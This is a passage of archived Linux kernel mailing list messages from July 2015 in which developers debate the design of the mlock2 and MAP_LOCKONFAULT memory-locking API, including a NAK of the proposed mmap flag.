4SA6NwWvWAlS3Jyzwqin6jEPfTp5mp9XmBs2OSFCUtRM4gheS+V0qm4UMCoUUe8V
1biXRm6JAcqlQ9RaQsIleuwtu6rfq/VmPvyXfoh2VzHtHkfJH1es+IuzyMvN8rB2
+dMOrDXpr0TGzV2pUXmpqvJV9XCuJJqC2EUp3ygCjCsxtir7que+hBurNHk6V37o
SJPg+1fOfKlZC2JoH1e3nlaNa8E7Tgn3CcaS95PJGtjp3B3B/WFHyQsV7ICDCPph
p1DS8lNn1AHvC8Ia1b9q9k6iuPVpunFRthVyXLfDtb7UVDxyDBAbBArQMlSqdS98
7s+Am4nRAqQ4hyvCrfFbkXyplihX34uwmi263r7pAPizwJRx/ArnJk+EJK6Qclp+
aiL2BO8PJR2vPi7BfsPSBcgd68iEeCCsOpNGD3GyQ3C5tdtZK/MaDmZm2cCdzaZg
pWkEgj3oi8jiTD59NskpqqsmtWahucR6HVXAF6DNvZXypigq+uvnaqImEOxpOEQR
h1zR5O8L5jnZO1BYAHpJO1+16ZAPcNa2tF20OcxsAvcGvblbFNYG1jzAE6w9FGbz
Qr4VU8B1u/IiDGuHNroiwrTOlN7Tn7wYN0/bstOPk3UavEmg3wEuOaaQat2CU7pC
rLymWmGP9Rc0+NgO/vMz
=Leis
-----END PGP SIGNATURE-----

--H1spWtNR+x+ondvy--

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V5 5/7] mm: mmap: Add mmap flag to request VM_LOCKONFAULT
Date: Mon, 27 Jul 2015 17:03:55 +0300
Lines: 41
Approved: news@gmane.org
Message-ID: <20150727140355.GA11360@node.dhcp.inet.fi>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
 <1437773325-8623-6-git-send-email-emunson@akamai.com>
 <20150727073129.GE11657@node.dhcp.inet.fi>
 <20150727134126.GB17133@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1438005868 26635 80.91.229.3 (27 Jul 2015 14:04:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Jul 2015 14:04:28 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
        Michal Hocko <mhocko@suse.cz>,
        Vlastimil Babka <vbabka@suse.cz>,
        Paul Gortmaker <paul.gortmaker@windriver.com>,
        Chris Metcalf <cmetcalf@ezchip.com>,
        Guenter Roeck <linux@roeck-us.net>,
        linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
        linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
        linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jul 27 16:04:22 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ZJj0v-0005FN-HY
	for sgi-linux-mips@gmane.org; Mon, 27 Jul 2015 16:04:21 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:55280 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011332AbbG0OETnTfad (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 27 Jul 2015 16:04:19 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 27 Jul 2015 16:04:05 +0200 (CEST)
Original-Received: from mail-wi0-f171.google.com ([209.85.212.171]:35180 "EHLO
        mail-wi0-f171.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27011327AbbG0OEDvp1Td (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Mon, 27 Jul 2015 16:04:03 +0200
Original-Received: by wibxm9 with SMTP id xm9so114294750wib.0
        for <linux-mips@linux-mips.org>; Mon, 27 Jul 2015 07:03:58 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        bh=NVtlRwEH+9fXuOZWWkQAoqqSwJSMJwMXMF4EIN9MwiI=;
        b=aRF5Op7Nz54O6tcI8Qe2ScPuKUQPdN+bHjy8Uv6S9aNSkpBamkTm5aD3L+KxYmVG9e
         4Y1rlDobk/guzcbtLCZZtjqUHS4iBehR8SsUbPDuEwqaQa71Zv9ehkb3/W90hlvKrahp
         SjDARfKW0qorH/URZijCTJ5p4ASYohnAc0FWUYeGxTYX9VIvjvqTgGBx/Rkn24SlQOZB
         10i4ccgb3hAJP/tehXUtfcmWtwlyLeKBSf8XaaHY/zcMo+o17nsbRpdPcUgqtGFNwmQa
         ngSEdLEjTOQ671Ly7434BGhdB2V1/bYMTAOg5oTf8WGM2tDbElcCGX45oJN4QDXY9OYb
         whmQ==
X-Gm-Message-State: ALoCoQl32TpxY+PT2vbXqw5Vr1aQsQiBBE9iTuo8hxRcXPDFOddSpEU5v+lRTpjiRe/DxIUm2+nT
X-Received: by 10.194.60.131 with SMTP id h3mr54229573wjr.156.1438005838509;
        Mon, 27 Jul 2015 07:03:58 -0700 (PDT)
Original-Received: from node.shutemov.name (dsl-espbrasgw1-54f9d4-72.dhcp.inet.fi. [84.249.212.72])
        by smtp.gmail.com with ESMTPSA id ib9sm28122090wjb.2.2015.07.27.07.03.56
        (version=TLSv1.2 cipher=AES128-GCM-SHA256 bits=128/128);
        Mon, 27 Jul 2015 07:03:57 -0700 (PDT)
Original-Received: by node.shutemov.name (Postfix, from userid 1000)
        id 937B866C9FA3; Mon, 27 Jul 2015 17:03:55 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <20150727134126.GB17133@akamai.com>
User-Agent: Mutt/1.5.23.1 (2014-03-12)
X-archive-position: 48446
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: kirill@shutemov.name
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:49597 gmane.linux.ports.alpha:3242 gmane.linux.kernel:2005444 gmane.linux.ports.parisc:25878 gmane.linux.ports.ppc64.devel:115947 gmane.linux.ports.sparc:21311 gmane.linux.kernel.mm:136347 gmane.linux.kernel.cross-arch:28649 gmane.linux.kernel.api:13192
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/49597>

On Mon, Jul 27, 2015 at 09:41:26AM -0400, Eric B Munson wrote:
> On Mon, 27 Jul 2015, Kirill A. Shutemov wrote:
> 
> > On Fri, Jul 24, 2015 at 05:28:43PM -0400, Eric B Munson wrote:
> > > The cost of faulting in all memory to be locked can be very high when
> > > working with large mappings.  If only portions of the mapping will be
> > > used this can incur a high penalty for locking.
> > > 
> > > Now that we have the new VMA flag for the locked but not present state,
> > > expose it as an mmap option like MAP_LOCKED -> VM_LOCKED.
> > 
> > As I mentioned before, I don't think this interface is justified.
> > 
> > MAP_LOCKED has known issues[1]. The MAP_LOCKED problem is not necessary
> > affects MAP_LOCKONFAULT, but still.
> > 
> > Let's not add new interface unless it's demonstrably useful.
> > 
> > [1] http://lkml.kernel.org/g/20150114095019.GC4706@dhcp22.suse.cz
> 
> I understand and should have been more explicit.  This patch is still
> included becuase I have an internal user that wants to see it added.
> The problem discussed in the thread you point out does not affect
> MAP_LOCKONFAULT because we do not attempt to populate the region with
> MAP_LOCKONFAULT.
> 
> As I told Vlastimil, if this is a hard NAK with the patch I can work
> with that.  Otherwise I prefer it stays.

That's not how it works.

Once an ABI added to the kernel it stays there practically forever.
Therefore it must be useful to justify maintenance cost. I don't see it
demonstrated.

So, NAK.

-- 
 Kirill A. Shutemov



From - Thu Nov 08 21:37:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V5 5/7] mm: mmap: Add mmap flag to request VM_LOCKONFAULT
Date: Mon, 27 Jul 2015 10:11:31 -0400
Lines: 92
Approved: news@gmane.org
Message-ID: <20150727141131.GA21664@akamai.com>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
 <1437773325-8623-6-git-send-email-emunson@akamai.com>
 <20150727073129.GE11657@node.dhcp.inet.fi>
 <20150727134126.GB17133@akamai.com>
 <20150727140355.GA11360@node.dhcp.inet.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="azLHFNyN32YCQGCU"
X-Trace: ger.gmane.org 1438006310 1309 80.91.229.3 (27 Jul 2015 14:11:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Jul 2015 14:11:50 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	Guenter Roeck <linux@roeck-us.net>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: sparclinux-owner@vger.kernel.org Mon Jul 27 16:11:41 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ZJj7x-0003HL-1U
	for lnx-sparclinux@plane.gmane.org; Mon, 27 Jul 2015 16:11:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754501AbbG0OLg (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Mon, 27 Jul 2015 10:11:36 -0400
Original-Received: from a23-79-238-175.deploy.static.akamaitechnologies.com ([23.79.238.175]:21231
	"EHLO prod-mail-xrelay07.akamai.com" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1754468AbbG0OLd (ORCPT
	<rfc822;sparclinux@vger.kernel.org>);
	Mon, 27 Jul 2015 10:11:33 -0400
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id C8BC547FA3;
	Mon, 27 Jul 2015 14:11:31 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id A298247F7E;
	Mon, 27 Jul 2015 14:11:31 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1438006291; bh=ve6Wy1C18OUKWdLDfZTbZXLDIviZduESYpbxJMT4FIk=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=yKNIOI7MBuAUUq3sjHXO7MzztZ7IqNwBaV3Ud3Jnk4UFZI6qJwuIb7HuNtlsRF9wE
	 Ee2kndLTuUf1B+rEdc5qT0jz7yEbdCMGvyk0vfLS2hMXLWXmk2YfTTn4UwmGNzEqxG
	 Q/5thnIg5w9p0P9kGwoetzjWW2KMPWqlZFD79ddw=
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 9A76A8008B;
	Mon, 27 Jul 2015 14:11:31 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150727140355.GA11360@node.dhcp.inet.fi>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21312 gmane.linux.ports.alpha:3243 gmane.linux.kernel:2005460 gmane.linux.ports.mips.general:49598 gmane.linux.ports.parisc:25879 gmane.linux.ports.ppc64.devel:115948 gmane.linux.kernel.mm:136348 gmane.linux.kernel.cross-arch:28650 gmane.linux.kernel.api:13193
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21312>


--azLHFNyN32YCQGCU
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 27 Jul 2015, Kirill A. Shutemov wrote:

> On Mon, Jul 27, 2015 at 09:41:26AM -0400, Eric B Munson wrote:
> > On Mon, 27 Jul 2015, Kirill A. Shutemov wrote:
> >=20
> > > On Fri, Jul 24, 2015 at 05:28:43PM -0400, Eric B Munson wrote:
> > > > The cost of faulting in all memory to be locked can be very high wh=
en
> > > > working with large mappings.  If only portions of the mapping will =
be
> > > > used this can incur a high penalty for locking.
> > > >=20
> > > > Now that we have the new VMA flag for the locked but not present st=
ate,
> > > > expose it as an mmap option like MAP_LOCKED -> VM_LOCKED.
> > >=20
> > > As I mentioned before, I don't think this interface is justified.
> > >=20
> > > MAP_LOCKED has known issues[1]. The MAP_LOCKED problem is not necessa=
ry
> > > affects MAP_LOCKONFAULT, but still.
> > >=20
> > > Let's not add new interface unless it's demonstrably useful.
> > >=20
> > > [1] http://lkml.kernel.org/g/20150114095019.GC4706@dhcp22.suse.cz
> >=20
> > I understand and should have been more explicit.  This patch is still
> > included becuase I have an internal user that wants to see it added.
> > The problem discussed in the thread you point out does not affect
> > MAP_LOCKONFAULT because we do not attempt to populate the region with
> > MAP_LOCKONFAULT.
> >=20
> > As I told Vlastimil, if this is a hard NAK with the patch I can work
> > with that.  Otherwise I prefer it stays.
>=20
> That's not how it works.

I am not sure what you mean here.  I have a user that will find this
useful and MAP_LOCKONFAULT does not suffer from the problem you point
out.  I do not understand your NAK but thank you for explicit about it.

>=20
> Once an ABI added to the kernel it stays there practically forever.
> Therefore it must be useful to justify maintenance cost. I don't see it
> demonstrated.

I understand this, and I get that you do not like MAP_LOCKED, but I do
not see how your dislike for MAP_LOCKED means that this would not be
useful.

>=20
> So, NAK.
>=20

V6 will not have the new mmap flag unless there is someone else that
speaks up in favor of keeping it.


--azLHFNyN32YCQGCU
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVtjwTAAoJELbVsDOpoOa9cywQAMOd32FQcpI15XIUZk3SBUeg
/oa/5375ZFZqvbJHZn4iTFt4FxbvYUJPsAkWxH92nUQjdWBleVEUKhUs+K3tEz85
yNtsDJFuMlR07fY75oqz5LqorrMwHw1CNDXj32ADaPg+hxdPwMH9HUC2AeKIwv4E
lOhyZdUqfgLn0uYnJNhoDSqoFENCiFvX3jZsGszbfsEljPe/PfgwIJVCZP+R9p0X
oQ/u0MXGHLLOagPVFlXh3lkj8Q/C+/PiT8ubQUIdcsz//0E9mB+X7M+Za2hWtU6A
QUclnufc6+D7FGwq6zVKb5AEyDg2WVuGK/jWO44a9bAlZxVpttsGaobdQoz2Xs8r
mWZ0VQxSJIPoXFJ3ggCgJQYCQtZWOiHPfotP3w4ba6rMEP1M/AG5F7aTFEEkxPdv
wVCDab4asBJMZHRKxlyK2KX2sXclOc9eJ1BqC1EZmNjDcrxxAwoeb1+8ZjOkeOH5
S1bPWdotTfQemH6iJulJP+GVtjo0fUw1S+tpiapJu16NfiUvS2bjAczwjgu9pE1Y
LW3JC/MVfD13DVSDwHEmuIelWOlRyqsiFm86FZz2pXkocSISzESCk3otqJv8f3iN
M3xYGJIlyFxPgelUcPbkqh/G4g3+tVC4d3zhxLVfUJMUhWHZlKYr2pgNhii4Yty8
HUDKoUVYKSp1f5/jOB+f
=vq9F
-----END PGP SIGNATURE-----

--azLHFNyN32YCQGCU--
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vlastimil Babka <vbabka@suse.cz>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V5 0/7] Allow user to request memory to be locked on page
 fault
Date: Mon, 27 Jul 2015 16:16:23 +0200
Lines: 90
Approved: news@gmane.org
Message-ID: <55B63D37.20303@suse.cz>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
 <55B5F4FF.9070604@suse.cz> <20150727133555.GA17133@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1438006614 6863 80.91.229.3 (27 Jul 2015 14:16:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Jul 2015 14:16:54 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Mon Jul 27 16:16:42 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1ZJjCr-0006K4-H7
	for lnx-linux-alpha@plane.gmane.org; Mon, 27 Jul 2015 16:16:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753243AbbG0OQk (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Mon, 27 Jul 2015 10:16:40 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:56040 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752630AbbG0OQj (ORCPT <rfc822;linux-alpha@vger.kernel.org>);
	Mon, 27 Jul 2015 10:16:39 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 711A8AD00;
	Mon, 27 Jul 2015 14:16:33 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20150727133555.GA17133@akamai.com>
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3244 gmane.linux.kernel:2005472 gmane.linux.ports.mips.general:49599 gmane.linux.ports.parisc:25880 gmane.linux.ports.ppc64.devel:115949 gmane.linux.ports.sparc:21313 gmane.linux.kernel.mm:136349 gmane.linux.kernel.cross-arch:28651 gmane.linux.kernel.api:13194
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3244>

On 07/27/2015 03:35 PM, Eric B Munson wrote:
> On Mon, 27 Jul 2015, Vlastimil Babka wrote:
>
>> On 07/24/2015 11:28 PM, Eric B Munson wrote:
>>
>> ...
>>
>>> Changes from V4:
>>> Drop all architectures for new sys call entries except x86[_64] and MIPS
>>> Drop munlock2 and munlockall2
>>> Make VM_LOCKONFAULT a modifier to VM_LOCKED only to simplify book keeping
>>> Adjust tests to match
>>
>> Hi, thanks for considering my suggestions. Well, I do hope there
>> were correct as API's are hard and I'm no API expert. But since
>> API's are also impossible to change after merging, I'm sorry but
>> I'll keep pestering for one last thing. Thanks again for persisting,
>> I do believe it's for the good thing!
>>
>> The thing is that I still don't like that one has to call
>> mlock2(MLOCK_LOCKED) to get the equivalent of the old mlock(). Why
>> is that flag needed? We have two modes of locking now, and v5 no
>> longer treats them separately in vma flags. But having two flags
>> gives us four possible combinations, so two of them would serve
>> nothing but to confuse the programmer IMHO. What will mlock2()
>> without flags do? What will mlock2(MLOCK_LOCKED | MLOCK_ONFAULT) do?
>> (Note I haven't studied the code yet, as having agreed on the API
>> should come first. But I did suggest documenting these things more
>> thoroughly too...)
>> OK I checked now and both cases above seem to return EINVAL.
>>
>> So about the only point I see in MLOCK_LOCKED flag is parity with
>> MAP_LOCKED for mmap(). But as Kirill said (and me before as well)
>> MAP_LOCKED is broken anyway so we shouldn't twist the rest just of
>> the API to keep the poor thing happier in its misery.
>>
>> Also note that AFAICS you don't have MCL_LOCKED for mlockall() so
>> there's no full parity anyway. But please don't fix that by adding
>> MCL_LOCKED :)
>>
>> Thanks!
>
>
> I have an MLOCK_LOCKED flag because I prefer an interface to be
> explicit.

I think it's already explicit enough that the user calls mlock2(), no? 
He obviously wants the range mlocked. An optional flag says that there 
should be no pre-fault.

> The caller of mlock2() will be required to fill in the flags
> argument regardless.

I guess users not caring about MLOCK_ONFAULT will continue using plain 
mlock() without flags anyway.

I can drop the MLOCK_LOCKED flag with 0 being the
> value for LOCKED, but I thought it easier to make clear what was going
> on at any call to mlock2().  If user space defines a MLOCK_LOCKED that
> happens to be 0, I suppose that would be okay.

Yeah that would remove the weird 4-states-of-which-2-are-invalid problem 
I mentioned, but at the cost of glibc wrapper behaving differently than 
the kernel syscall itself. For little gain.

> We do actually have an MCL_LOCKED, we just call it MCL_CURRENT.  Would
> you prefer that I match the name in mlock2() (add MLOCK_CURRENT
> instead)?

Hm it's similar but not exactly the same, because MCL_FUTURE is not the 
same as MLOCK_ONFAULT :) So MLOCK_CURRENT would be even more confusing. 
Especially if mlockall(MCL_CURRENT | MCL_FUTURE) is OK, but 
mlock2(MLOCK_LOCKED | MLOCK_ONFAULT) is invalid.

> Finally, on the question of MAP_LOCKONFAULT, do you just dislike
> MAP_LOCKED and do not want to see it extended, or is this a NAK on the
> set if that patch is included.  I ask because I have to spin a V6 to get
> the MLOCK flag declarations right, but I would prefer not to do a V7+.
> If this is a NAK with, I can drop that patch and rework the tests to
> cover without the mmap flag.  Otherwise I want to keep it, I have an
> internal user that would like to see it added.

I don't want to NAK that patch if you think it's useful.


--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V5 0/7] Allow user to request memory to be locked on page
 fault
Date: Mon, 27 Jul 2015 10:54:09 -0400
Lines: 162
Approved: news@gmane.org
Message-ID: <20150727145409.GB21664@akamai.com>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
 <55B5F4FF.9070604@suse.cz>
 <20150727133555.GA17133@akamai.com>
 <55B63D37.20303@suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="QTprm0S8XgL7H0Dt"
X-Trace: ger.gmane.org 1438008860 15257 80.91.229.3 (27 Jul 2015 14:54:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Jul 2015 14:54:20 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Vlastimil Babka <vbabka@suse.cz>
Original-X-From: linux-alpha-owner@vger.kernel.org Mon Jul 27 16:54:14 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1ZJjnB-0005XI-5R
	for lnx-linux-alpha@plane.gmane.org; Mon, 27 Jul 2015 16:54:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752233AbbG0OyM (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Mon, 27 Jul 2015 10:54:12 -0400
Original-Received: from a23-79-238-175.deploy.static.akamaitechnologies.com ([23.79.238.175]:25577
	"EHLO prod-mail-xrelay07.akamai.com" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1751308AbbG0OyL (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Mon, 27 Jul 2015 10:54:11 -0400
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id C84814E0DA;
	Mon, 27 Jul 2015 14:54:09 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id AA2A44E0D9;
	Mon, 27 Jul 2015 14:54:09 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1438008849; bh=vObqj1aY59ANCgWi8tXQneczKbs/60wJAn058roW9og=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=gqOLJswnrW1b5Ypflz/0gHQxtm5EhVqMtpEcKynBiUa7JeL0/fVSuosd0P5smf+4l
	 w+u/U6elQ68EpYRtAGbKU1sfOdg3heBMqLltP4rBh0MFqb6U255PRT0X+JLZTcmtwl
	 SBxc3RMtfMq3EauakXljR94DNg5FNaXYXpidGxck=
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 9EFEB202A;
	Mon, 27 Jul 2015 14:54:09 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <55B63D37.20303@suse.cz>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-alpha-owner@vger.kernel.org
